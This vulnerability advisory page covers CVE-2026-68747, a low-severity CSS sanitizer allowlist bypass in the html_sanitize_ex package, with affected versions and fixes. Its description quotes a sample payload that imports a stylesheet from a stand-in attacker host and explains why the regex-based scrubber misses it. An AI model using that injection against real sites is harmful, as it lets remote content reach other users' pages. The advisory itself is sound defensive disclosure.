CVE-2026-68747 CSS sanitizer allowlist bypass in html_sanitize_ex via non-declaration input

Low 2.3 Published Updated

An attacker can inject malicious CSS at-rules, such as remote imports, bypassing the allowlist in the html_sanitize_ex library.

Exploited in the wild
Not known
Login needed
Not needed
Attackable
Over the internet
Victim action needed
A user has to click or open something
Fix
Available

What is CVE-2026-68747?

CVE-2026-68747 is a low-severity cross-site scripting vulnerability in rrrene html_sanitize_ex, published on 6 Aug 2026. An attacker can exploit it over the internet without logging in, and only if a user opens a file or follows a link.

Official description

Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') vulnerability in the CSS scrubber in rrrene html_sanitize_ex allows an unauthenticated remote attacker to inject CSS at-rules, including an import of a remote stylesheet, into a page served to other users. HtmlSanitizeEx.Scrubber.CSS.scrub/1 applies its property and value allowlist through a Regex.replace over substrings matching a property: value declaration pattern, so input that does not match that pattern is never inspected and is copied to the output unchanged. @import url(//attacker.example/style.css); survives, while the same URL inside a background: url(...) declaration is removed.

Element boundaries are resolved before the scrubber runs, so injected content does not escape the <style> element and no script executes.

This issue affects html_sanitize_ex: from 0.3.1 before 1.4.5 and from 1.5.0-rc.0 before 1.5.4.

Weakness: CWE-74

Which versions are affected by CVE-2026-68747?

1 open source package ship an affected version, including html_sanitize_ex. It affects 1 product.

PackageAffectedFixed in
html_sanitize_ex HexFrom 0.3.11.4.5, 1.5.4

Products include Rrrene Htmlsanitizeex.

How do I fix CVE-2026-68747?

Upgrade html_sanitize_ex to a fixed version for your release line: 1.4.5 or 1.5.4.

Escape output for the context it lands in and set a strict Content Security Policy. Upgrading the affected component is the real fix. More about Cross-site scripting.

Is CVE-2026-68747 being exploited?

There is no known exploitation of CVE-2026-68747 in the wild and no public exploit code.

Sources

Also known as EEF-CVE-2026-68747, GHSA-87v2-pfhj-r5x7, GHSA-g72r-5wgp-6532.

Is CVE-2026-68747 in your software?

Upload an SBOM and sbomify checks it against every vulnerability here, every day.

Check your SBOMs for free